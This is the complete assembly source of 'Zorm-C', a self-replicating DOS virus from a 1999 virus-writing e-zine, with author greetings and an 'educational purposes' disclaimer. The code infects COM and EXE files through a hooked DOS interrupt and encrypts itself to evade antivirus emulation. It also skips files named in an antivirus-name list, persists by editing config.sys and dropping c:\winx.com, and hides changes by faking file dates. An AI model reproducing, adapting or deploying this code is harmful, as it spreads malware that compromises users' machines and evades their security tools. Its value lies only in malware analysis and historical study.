code segment assume cs:code,ds:code,es:code org 0h ;***** ***** ; * * ; * echnological ***** llusion presents: ; Name: Zorm-C version 1.6 ; Type: Tsr encrypted not poly ; Target: Dos com/exe ;Only to be published in T.I e-zine ;(C) Doxtor L. /[T.I] March 1999 ;This source code is only for educational purposes. ;This virus wasnt written to be spreaded nevertheleast it doesnt contain ;intentionnal destructive routines ;DESCRIPTION: ;Zorm-C is a dos tsr virus infecting both com/exe dos executables ;it even has ability to infect com executable of dos 7.0 by the so-called ;"ENUN trick".This virus dont have stealth abilities.The reason is ;not i dont know how to do that in general case,but the standard routines ;dont work fine due to the way the virus is loaded in memory. ;The infected com dont have a "jmp far" to go to the virus part. ; (if you have a clue about that feel free to send me a message) ;How it works: when an infected file is executed the virus is loaded ;in memory.When the infected program finnishes its execution config.sys ;is modified and an encrypted copy of virus is dropped in c:. ;Some code is appended to config.sys. ;At next boot ,the virus will be loaded in memory and ;believe it or not ,when windows will be loaded,the virus will appear ;in all Dos Window you can open.It means its useless to close a dos session ;to kill completely the virus.When u will open an another dos session the ;virus will be again there in memory even if you dont execute a program. ;No the virus doesnt infect command.com or some sys file! Its kinda magic :). ;When no dos session is opened ...the virus is inactive :( ;This virus was created during an attempt to create a full-stealth dos ;virus.I know some code can be modified to cutt-off some bytes but this ;virus was written for myself.Some months ago i was thinking that a dos virus ;surviving when you reboot a puter and appearing in all dos session could ;not be exist without infecting command.com (this later case can be done?) ; ;At the time where he was written (even in March 99 :)) NO antivirus was ;able to detect it! So be carefull! ; ;GREETINGS: ; Spanska: youre the only "professional" virus writer i know ; Mandragore: i m also a E.D freak, bad beer but low price hehe ; and all the french scene: cryptic,mist,... ; T-2000: an article in 29a zine is better than 10000 greets ;) ; Vecna: Youre the best! ; darkman: Sorry i know only Tania Russloff ; lord_julus: i like your tutorials! ; raid: when will u write a tsr virus in asic? ; tally: here a new virus for your collection ;) ; and greetings to all virus writers in the world ,especially ; those chatting on irc,you know what i m talking about and ; who youre ;) begin_virus: xor cx,cx ; mov ds,cx ;set ds=0 db 0beh ;mov si,offset begin_crypt2 patch2 dw begin_crypt2 ; mov cx,end_crypt2-begin_crypt2 ;numbers of bytes to decrypt ;trick to stop the emulation of code by drweb ;thanx lord_julus to show me it ! sub ax,1 mov di,410h mov bx,word ptr ds:[di] ;read directly hardware installed ;at 0:0410h int 11h ;same action using interrupt add ax,1 ; sub ax,bx ; xchg ax,bx ;=>bl=1 db 0b0h ;mov al,key2 key2: db -1 ; add al,bl ;=>al=key2+1 crypt: ;encrypt/decrypt routine mov ah,byte ptr cs:[si] ;based on xor mathematic function xor ah,al ;al=key mov byte ptr cs:[si],ah ; inc si loop crypt ;(i know xor byte ptr [si],al is shorter than the 3 first instructions ;of my routine, but tbav seems to not notice the lame version and stuck ;the optimized one! ) _ret: db 90h ;::::::::::::::::::::::::::::::Begin of 1st part:::::::::::::::::::::::::: begin_crypt2: db 0beh ;mov si,offset begin_crypt1 patch1: dw begin_crypt1 ; db 2eh,0c6h,06h ;mov byte cs:ptr [_ret],0c3h ret_addr: ; dw _ret ; db 0c3h ;[c3h=opcode for "ret"] labl: mov cx,end_crypt1-begin_crypt1 db 0b0h ;mov al,key key: db 0 ; call crypt db 0ebh ;jmp begin_crypt1 (first time) vers: ; db 00h ;jmp begin_crypt3 (second time) end_crypt2: ;::::::::::::::::::::::::::::::End of 1st part:::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::Begin 2nd part::::::::::::::::::::::::::::: begin_crypt1: int 15h cmp ah,86h jnz begin_crypt1 db 0beh ;lea si,begin_crypt3 patch3: dw begin_crypt3 ; db 2eh,0c6h,06 ;mov byte ptr [vers],number bytes vers_addr: ;to go to begin_crypt3 from "vers" dw vers ;label db (offset begin_crypt3-offset vers)-1 ; jz labl end_crypt1: ;::::::::::::::::::::::::::::::End second part:::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::Begin of 3rd part:::::::::::::::::::::::::: begin_crypt3: db 0beh ; lea si,begin_crypt4 patch4: dw begin_crypt4 ; mov cx,end_crypt4-begin_crypt4 ;number bytes to decrypt xor dx,dx mov ax,3d00h ;=> dos error code: al:=2 int 21h db 04h ;add al key3: db -2 ;(key3:=-2 at the very first execution) call crypt end_crypt3: ;::::::::::::::::::::::::::::::End of 3rd part:::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::Begin of 4th part:::::::::::::::::::::::::: begin_crypt4: ;cli ;useless it seems! ;mov ax,ss ;let ss=cs ;dec ax ;mov ss,ax ;sti call me ;compute delta offset me: pop bp sub bp,offset me mov word ptr cs:[_ds+bp],es push cs pop ds mov ax,es ; mov bx,cs ;are we a com or a exe program? cmp ax,bx ; jnz not_com lea si,old_ss+bp ;we are a com file... mov di,100h ;restore the original mov cx,9 ;18 bytes of uninfected program rep movsw ; not_com: mov ax,6969h ;are we in memory? int 21h ; cmp bx,6969h ; jnz install jmp final install: ;we need to install the virus in memory ;Function 4ah of interrupt 21h ;This function changes the size of a memory block based at es:0 ;es:0 points to the beginning of memory block [not its mcb] ;bx contains the size of memory,in paragraphs [1 para=16 bytes] ;we want. mov ah,4ah ;number of function we need to call mov bx,0ffffh ;We ask dos to allocate a huge amount of memory ;ffffh paragraphs>640k int 21h ;=>Error,dos return in bx available amount of memory sub bx,2*((end_virus-begin_virus+15)/16)+1 ;We ask dos all memory mov ah,4ah ;but a "little" part int 21h ; ;((end_virus-begin_virus+15)/16) is the size of virus rounded up ;in paragraphs. ;for example if its size is 1010 bytes ,1016/16 is 63 rounded up. ;But if we ask for 63 para ,we havent enough of memory 'cause, ;63*16=1008<1010.Neverless : (1010+15)/16 rounded up is 64 and ;64*16=1024>1010 ;We add "+1" to have space for a new mcb [size of mcb is one para] ;We need to add that 'cause we are going to build a new one for the memory ;block where we'll put the virus ;The "2*" is for a buffer to encrypt the virus be4 to append it to ;the target file ;Allocation of a memory block ;Function number 48h of int 21h ;bx=numbers of paragraphs we want ;dos returns : ax:0 address of the memory block allocated ;This new block of memory will be the last block of conventional ;memory mov ah,48h ; mov bx,2*((end_virus-begin_virus+15)/16) ; int 21h dec ax ;we want es points to the mov es,ax ;mcb of the new memory block inc ax ;ax:0 is the start of the ;new memory block xchg ax,dx mov ax,1600h ;are we in windows dos box? int 2fh or al,al jnz under_windows not_under_windows: mov byte ptr es:[0],'Z' ;let the block be the last under_windows: xchg ax,dx mov word ptr es:[1],8 ;let owner of this block be ;Dos one's save_old_21h: xor bx,bx mov es,bx mov bx,word ptr es:[21h*4] mov word ptr cs:[int21+bp],bx mov bx,word ptr es:[21h*4+2] mov word ptr cs:[int21+bp+2],bx mov_virus: ;move virus in memory mov es,ax ;this way it becomes tsr mov si,bp xor di,di mov cx,end_virus-begin_virus rep movsb set_new_int21h: mov ds,ax mov ax,2521h mov dx,offset handleer int 21h jmp final handleer: pushf cmp ax,6969h jne funct_6968 jmp fake_int funct_6968: cmp ax,6968h jne funct_4c mov byte ptr cs:[drapeau],0ffh jmp infect funct_4c: ;function used by dos to terminate a program cmp ah,4ch je its4ch jmp funct_4b00 ;not 4ch function its4ch: call push_all2 push cs pop es push cs pop ds ;this routine is used to modified config.sys ;the date of this file is changed to hide the date of 1st infection! ;) mov ax,3d02h ;open config.sys lea dx,config call do_int21 xchg ax,bx mov ax,5700h ;check seconds int 21h and cl,00011111b xor cl,00001110b jz quite1 ;already modified!,exit mov ax,4202h ;goto the end of config.sys xor cx,cx cwd call do_int21 mov ah,40h ;append some dos instructions mov cx,finale-starting ;to the config.sys file lea dx,string call do_int21 call set_date ;we dont want config.sys ;has the current date ;) mov ah,3eh ;close config.sys call do_int21 quite1: create: mov ah,3ch ;create a file lea dx,filez ;dropped in root directory xor cx,cx or cx,00000010b call do_int21 xchg ax,bx mov ah,40h ;fill the file with silly bytes mov cx,32 lea dx,junk call do_int21 call set_date ;we dont want "winx.com" has ;the current date ;) mov ah,3eh ;close the file call do_int21 mov ax,6968h ;to infect the silly file dropped mov dx,offset filez ;in root directory! int 21h quite: ;exit mov ah,3eh ;close the file we have just created call do_int21 ;and infected call pop_all2 ;restore registers jmp oldint ;goto original function starting: string db 'installhigh=winx.com',0dh,0ah finale: junk db 90h db 0cdh,20h ; db 11h,211h,44h,77h,87h,45h,145h,249h,77h,89h,121h,189h,122h,0ffh,88h,33h ;sign db 'Zorm-C-16 (c) DrL./[T.I],France,July 98-March 99' db 'Z' xor 11h db 'O' xor 11h db 'R' xor 11h db 'M' xor 11h db '-' xor 11h db 'C' xor 11h db '1' xor 11h db '.' xor 11h db '6' xor 11h db '(' xor 11h db 'c' xor 11h db ')' xor 11h db ' ' xor 11h db 'D' xor 11h db 'r' xor 11h db 'L' xor 11h db '.' xor 11h db '/' xor 11h db '[' xor 11h db 'T' xor 11h db '.' xor 11h db 'I' xor 11h db ']' xor 11h db 'F' xor 11h db 'r' xor 11h db 'a' xor 11h db 'n' xor 11h db 'c' xor 11h db 'e' xor 11h db ',' xor 11h db 'J' xor 11h db 'u' xor 11h db 'l' xor 11h db 'y' xor 11h db ' ' xor 11h db '9' xor 11h db '8' xor 11h db '-' xor 11h db 'M' xor 11h db 'a' xor 11h db 'r' xor 11h db 'c' xor 11h db 'h' xor 11h db ' ' xor 11h db '9' xor 11h db '9' xor 11h config db 'c:\config.sys',0 filez db 'c:\winx.com',0 drapeau db 0 funct_4b00: ;dos: load and run cmp ax,4b00h jne funct_4e jmp infect funct_4e: jmp oldint ;dos: search first using handle push_all: ;Push on the stack pop word ptr cs:[tempo] ;registers pushf push ax push bp push bx push cx push di push ds push dx push es push si push word ptr cs:[tempo] ret push_all2: pop word ptr cs:[tempo2] pushf push ax bp bx cx di ds dx es si push word ptr cs:[tempo2] ret pop_all: pop word ptr cs:[tempo] pop si pop es pop dx pop ds pop di pop cx pop bx pop bp pop ax popf push word ptr cs:[tempo] ret pop_all2: pop word ptr cs:[tempo2] pop si es dx ds di cx bx bp ax popf push word ptr cs:[tempo2] ret do_int21: pushf call dword ptr cs:[int21] ret infect: call push_all ;this routine search the name of file executed ;based on a routine found in the virus named idea from Spanska! push cs pop es mov si,dx ;search position of "." seek_end: lodsb cmp al,'.' jne seek_end std seek_start: ;search beginning of the name lodsb ;of file executed cmp al,'\' jne seek_start inc si inc si push ax ;read file attributes mov ax,4300h call do_int21 and cl,11111110b ;change it mov ax,4301h ;we dont want it be "read-only" call do_int21 pop ax cld lodsw ;load in AX two first characters ;of file executed lea di,av_list ;beginning of the name of an av prog? mov cx,15 repne scasw jne open_file ;not in the list call pop_all ;founded in the list,restore registers jmp oldint ;and goto original function hooked open_file: mov ax,3d02h call do_int21 xchg ax,bx ;put file handle in bx jc termine2 i_m_open: push cs ;let cs=ds pop ds save_date: mov word ptr cs:[_bx],bx ;save file handler call read_time ;save timedate ;read first call read_header ;28 bytes of target file mov bp,offset exe_header ;bp=exe_header buffer jc termine2 ;from now bp:=exe_header test1: cmp word ptr cs:[bp],'ZM' ;is it really an exe? je test3 test2: cmp word ptr cs:[bp],'MZ';idem jne its_a_com test3: cmp word ptr cs:[bp+12h],'VI' ;infected? je change_second3 ;yes,bye bye test3b: cmp word ptr cs:[bp+2],00c6h jne test4 cmp word ptr cs:[bp+4],00b7h je termine2 test4: cmp word ptr cs:[bp+26],0 ;overlay=0? jne termine2 ;not,bye bye test5: cmp word ptr cs:[bp+24],40h ;windows exe? je termine2 ;yes ,adios :( jmp la_bas its_a_com: test_com : cmp word ptr cs:[bp+16],4bc3h change_second3: jz change_second2 test_win : cmp word ptr cs:[4+bp],0e1fh jnz not_win_com cmp word ptr cs:[6+bp],0e807h jz termine2 not_win_com: go_end1: mov dx,-7 mov cx,-1 mov ax,4202h call do_int21 jmp over termine2: jmp termine over: lea dx,enums7 mov ah,3fh call do_int21 add word ptr cs:[enums7+5],heap-begin_virus mov al,02h ;go to end of file call mov_ptr ;we want to infect ;ax :=size of file mov si,bp ;save original first mov di,offset old_ss ;18 bytes of the file mov cx,9 ;to infect rep movsw mov cx,ax ;cx:=size of file add cx,100h mov word ptr cs:[jmp_patch],cx call compute_patch call write_it xor al,al ;go to begin of file call mov_ptr mov ah,40h ;write 18 bytes lea dx,_jmp ;to the file we mov cx,18 ;want to infect call do_int21 lea di,enums7 ;dont want the string "ENUNS" in al,40h ;appears in the xchg al,ah ;end of infected exe in al,40h ;or non-enuns executable. lea di,enums7 ;Need to fill the buffer ;with "random" junk bytes stosw inc ax stosw inc ax stosw change_second2: jmp change_second la_bas: ;exe infection part store_info_header: mov si,offset exe_header+0eh mov di,offset old_ss mov cx,05h rep movsw mov byte ptr cs:[here],0eah go_end2: mov al,02h ;go to the end. call mov_ptr ;=> ax:dx := size of ;the file we want infect push ax dx compute_new_csip: push ax mov ax,word ptr cs:[bp+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0ch shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax ;cx,dx need to be saved push cx dx call compute_patch call write_it pop dx cx change_header: mov word ptr cs:[bp+14h],cx mov word ptr cs:[bp+16h],dx inc dx mov word ptr cs:[bp+0eh],dx mov word ptr cs:[bp+10h],0FFf0h mov word ptr cs:[bp+0ah],0fFFh mov word ptr cs:[bp+12h],'VI' pop dx ax compute_size: add ax,heap-begin_virus adc dx,0 mov cx,512 div cx or dx,dx je enough inc ax enough: mov word ptr cs:[bp+04],ax mov word ptr cs:[bp+02],dx go_beginning: mov al,0 call mov_ptr copy_new_header: call write_header change_second: call reset_time or cl,01110b jmp exit termine: call reset_time exit: call do_int21 need_to_close: mov ah,3eh call do_int21 no_need_to_close: call pop_all cmp byte ptr cs:[drapeau],0ffh jne exit_from_there mov byte ptr cs:[drapeau],0 exit_from_there: jmp oldint final: mov ds,word ptr cs:[_ds+bp] push ds pop es mov ax,ds mov cx,cs cmp ax,cx jnz exe_return mov ax,100h push ax call set_zero ret exe_return: mov ax,es add ax,10h add word ptr cs:[old_cs+bp],ax cli add ax,word ptr cs:[bp+old_ss] mov ss,ax mov sp,word ptr cs:[bp+old_sp] sti call set_zero jmp here old_ss dw 0fff0h old_sp dw 0 db 90h here: db 0eah old_ip: dw 0 old_cs dw 0fff0h dw 0 dw 0 dw 0 dw 0 ;what is following is the header of infected com file.... ;no "jmp far" at the beginning ;) _jmp db 0e8h,02h,00h,0cdh,20h,0bbh,37h,56h,81h,0f3h,0cbh,0a9h,0c7h,07h jmp_patch: dw 0 db 0c3h db 'K' av_list db 'WICOTBVIAVNAVSFIF-FVIVDRSCGU' write_it: make_key: in al,40h ;build new xor-key for crypt routine or al,al jz make_key good_key: mov ah,al ;update the beginning of no_encrypted part mov byte ptr [key], ah dec ah mov byte ptr [key2],ah inc ah mov byte ptr [vers],0 dec ah dec ah mov byte ptr [key3],ah xor si,si ;copy virus to buffer mov di,offset queue mov cx,heap-begin_virus rep movsb mov cx,end_crypt4-begin_crypt2 ;encrypt virus in buffer mov si,offset queue+(begin_crypt2-begin_virus) call crypt mov byte ptr [offset queue+(_ret-begin_virus)],90h ;replace "ret" by "nop" ;in crypt routine mov ah,40h ;append virus to mov cx,heap-begin_virus ;target mov dx,offset queue call do_int21 ret write_header: mov ah,40h mov cx,28 lea dx,exe_header call do_int21 ret fake_int: popf xchg ax,bx iret mov_ptr: mov ah,42h xor cx,cx cwd call do_int21 ret oldint24 dd 0 newint24: mov al,3 iret compute_patch: push cx add cx,offset begin_crypt1-offset begin_virus mov word ptr [patch1],cx pop cx push cx add cx,offset begin_crypt2-offset begin_virus mov word ptr [patch2],cx pop cx push cx add cx,offset begin_crypt3-offset begin_virus mov word ptr [patch3],cx pop cx push cx add cx,offset begin_crypt4-offset begin_virus mov word ptr [patch4],cx pop cx push cx add cx,vers -begin_virus mov word ptr [vers_addr],cx pop cx add cx,_ret -begin_virus mov word ptr [ret_addr],cx ret set_date: mov ax,5701h mov dx,0010010011111011b and cl,11100000b or cl,00001110b call do_int21 ret read_time: mov ax,5700h call do_int21 mov word ptr cs:[hour],cx mov word ptr cs:[date],dx ret read_header: mov cx,28 mov ah,3fh lea dx,exe_header call do_int21 ret set_time: mov ax,5701h mov dx,word ptr cs:[date] mov cx,word ptr cs:[hour] and cl,11100000b ret reset_time: mov bx,word ptr cs:[_bx] call set_time ret set_zero: xor ax,ax xor bx,bx xor cx,cx cwd xor di,di xor si,si xor bp,bp ret oldint: popf old: db 0eah end_crypt4: ;::::::::::::::::::::::::::::::End of 4th part:::::::::::::::::::::::::::: int21 dw 2 dup (?) ;original interrupt 21h handler exe_header db 28 dup (?) ;buffer for the first 28 bytes of target enums7 db 7 dup (?) heap: _ds dw ? ;original ds value hour dw ? date dw ? _bx dw ? new_dta db 100 dup (?) tempo dw ? tempo2 dw ? file_ext db 003 dup (?) stealth_it db ? queue: end_virus: code ends end begin_virus